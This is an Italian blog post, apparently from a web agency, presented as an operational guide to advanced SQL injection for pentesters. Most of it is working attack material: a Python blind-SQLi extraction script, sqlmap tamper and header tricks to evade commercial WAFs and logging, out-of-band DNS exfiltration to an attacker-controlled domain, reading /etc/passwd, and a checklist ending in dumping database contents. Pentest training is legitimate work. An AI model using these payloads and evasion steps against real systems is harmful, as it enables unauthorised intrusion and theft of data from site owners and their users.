Il tuo pentest è fermo su un parametro che non risponde a ' OR 1=1--. Sei sicuro sia protetto? Noi, di Meteora Web, lo abbiamo visto decine di volte: una query che sembra invulnerabile nasconde una blind SQL injection lenta ma letale. Oppure un WAF blocca le richieste di sqlmap con il default, ma un paio di tamper script bastano per aggirarlo. In questa guida operativa partiamo dal problema concreto: come sfruttare un SQL injection quando i metodi base non funzionano. Niente teoria accademica — solo tecniche collaudate su server reali, incluse le nostre esperienze con clienti che sottovalutavano la sicurezza delle loro API.
Qual è la differenza tra sqlmap e exploitation manuale?
La risposta è semplice: sqlmap automatizza, l'uomo sceglie la strategia. Con sqlmap puoi lanciare un attacco completo in pochi secondi, ma se il target ha un WAF personalizzato, un rate limiting o un filtro sugli header, lo strumento va configurato. Noi usiamo sqlmap per la fase di ricognizione e dumping rapido, ma quando il database è sensibile (es. credenziali admin, token JWT), passiamo alla manuale perché è più fine e silenziosa. La manuale richiede comprensione del linguaggio SQL del DBMS (MySQL, PostgreSQL, MSSQL) e delle funzioni di sistema. Per esempio, in una blind booleana, invece di sparare payload a caso, noi costruiamo una substring(version(),1,1)='8' per estrarre un bit alla volta. Con sqlmap puoi fare lo stesso via --technique=B --string, ma se il filtro cambia la risposta, meglio scrivere uno script Python one-shot.
Sponsored Protocol
Come si esegue un'analisi manuale di una SQL injection blind?
Partiamo da un caso reale: un endpoint /api/user?id=5 restituisce {"status":"ok"} per un id valido, {"status":"not found"} per inesistente. Proviamo id=5 AND 1=1 -> ok; id=5 AND 1=2 -> not found. Blind booleana confermata. Ora estraiamo la versione di MySQL: id=5 AND SUBSTRING(@@version,1,1)=8 -> ok se la prima cifra è 8. Dobbiamo automatizzare? Noi usiamo un semplice script Python:
import requests
url = "http://target.com/api/user"
charset = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
output = ""
for pos in range(1, 10):
for c in charset:
payload = f"5 AND ASCII(SUBSTRING((SELECT @@version),{pos},1))={ord(c)}"
r = requests.get(url, params={"id": payload})
if "ok" in r.text:
output += c
break
print(output)
Questo codice estrae carattere per carattere. Ovviamente puoi usare sqlmap --batch -u ... --strings "ok" --not-string "not found" ma con la manuale hai controllo totale. Un errore comune: non gestire i time-out su richieste lente o il caching delle risposte. Noi impostiamo sempre timeout=5 e randomizziamo l'ordine delle richieste per evitare pattern sospetti.
Sponsored Protocol
Come configurare sqlmap per bypassare WAF e filtri?
Il WAF più comune blocca il payload UNION SELECT o le parole chiave OR 1=1. Noi di Meteora Web abbiamo aggirato WAF di ModSecurity, Cloudflare e AWS WAF con queste tecniche:
- Tamper script: sqlmap include una cartella
tamper/con decine di script. Il nostro preferito per WAF semplici èbetween(sostituisce>conNOT BETWEEN) ospace2comment(spazi in commenti). Lanciare:sqlmap -u "http://target.com/page?id=1" --tamper=space2comment --level=5. - Modifica degli header: alcuni WAF controllano lo User-Agent. Usa
--random-agentoppure--headers="User-Agent: Mozilla/5.0 ...". - Rate limiting e delay: con
--delay=2rallenti le richieste, ma meglio usare--time-sec=5per time-based e aumentare--retries=2. - Out-of-band: se il WAF blocca le risposte HTTP, passa a
--technique=Ocon un server DNS sotto controllo. Esempio:sqlmap -u ... --dbs --dns-domain=tuodominio.xyz --force-dns.
Attenzione: non esiste un tamper universale. Noi testiamo sempre con --proxy=http://127.0.0.1:8080 (Burp Suite) per vedere quali richieste vengono bloccate e modifichiamo il payload manualmente prima di usare sqlmap in automatico.
Sponsored Protocol
Come sfruttare SQL injection out-of-band con sqlmap?
Quando non hai alcuna risposta nel corpo HTTP (né differenziale né temporale), l’unica via è out-of-band (OOB). sqlmap supporta DNS exfiltration e SMB. Noi abbiamo usato questa tecnica per estrarre dati da un database PostgreSQL in una rete interna che non poteva fare connessioni HTTP verso l’esterno, ma risolveva DNS. Configurazione:
- Ottieni un dominio che puoi controllare i log DNS (es. via Burp Collaborator o un VPS con
tcpdump). - Lancia sqlmap:
sqlmap -u "http://target.com/search?q=test" --dns-domain=tuodominio.xyz --technique=O --batch. - Controlla i log DNS: ogni richiesta
xyz.attacker.comcontiene i dati in esadecimale. Decodifica con un semplice script.
Se il database è MySQL, puoi anche usare SELECT LOAD_FILE('/etc/passwd') INTO OUTFILE '...' ma spesso i permessi sono limitati. L’OOB con DNS è più affidabile. Ricorda: il server deve poter risolvere il tuo dominio. In ambienti con DNS interno bloccato, prova via HTTP su una porta non filtrata (es. 53/TCP? raro).
Sponsored Protocol
Quali errori comuni evitare durante l’exploitation avanzata?
Dopo centinaia di test, abbiamo raccolto gli errori che fanno perdere tempo e rischiano di far scattare allarmi:
- Dimenticare i cookie di sessione: molte applicazioni richiedono autenticazione. Passa
--cookie="PHPSESSID=abc123"o usa--auth-type=Bearer --auth-token=.... - Non distinguere tra injection GET e POST: se il parametro è in POST, usa
--data="search=test"e non metterlo nell’URL. - Dare per scontato che sia MySQL: ogni DBMS ha sintassi diversa. Per Oracle,
UNION SELECTrichiedeFROM dual. Per MSSQL, usaWAITFOR DELAY. Imposta--dbms=PostgreSQLper evitare payload inutili. - Non testare su un ambiente di staging prima: abbiamo visto clienti far crashare il database di produzione con una
SELECT BENCHMARK(...)mal gestita. Se non puoi testare, usa--safe-urlper far eseguire richieste safe tra i tentativi. - Sottovalutare il logging: ogni richiesta può finire nei log di sistema. Aggiungi
--randomize=idper cambiare parametri inutili e--skip-urlencodese il server normalizza l’input.
Un consiglio finale: noi usiamo sqlmap con output dettagliato (-v 6) per vedere ogni payload inviato. Poi lo esportiamo e lo analizziamo con grep per capire quali tamper hanno funzionato. Questo ci permette di costruire una configurazione custom per ogni target.
Sponsored Protocol
Cosa fare adesso
Hai letto la teoria, ora passa all’azione. Ecco la checklist per il tuo prossimo pentest SQL injection avanzato:
- Identifica il parametro con un semplice
'e osserva la risposta. Se non cambia, prova",`, parentesi. Non fermarti al primo errore. - Conferma la blind con due condizioni (true/false). Crea uno script Python one-shot per estrarre un carattere. Decidi se procedere manuale o usare sqlmap.
- Configura sqlmap con
--tamper=between,space2comment,--headers,--delay. Lancia un test veloce con--current-user. - Se il WAF blocca, prova
--tamper=charencodeo--hex. Se non funziona, passa a OOB con un dominio DNS personalizzato. - Documenta ogni tentativo: salva output con
tee sqlmap.log. Analizza i payload bloccati e modifica manualmente. - Estrazione dati: usa
--dumpcon--stop=100per limitare le righe. Verifica la correttezza con una query manuale via UNION se possibile.
Ricorda: un SQL injection non sfruttato oggi diventa un data breach domani. Noi di Meteora Web trattiamo la sicurezza come un investimento, non un costo. Se vuoi approfondire, leggi la nostra guida pillar sull’Ethical Hacking.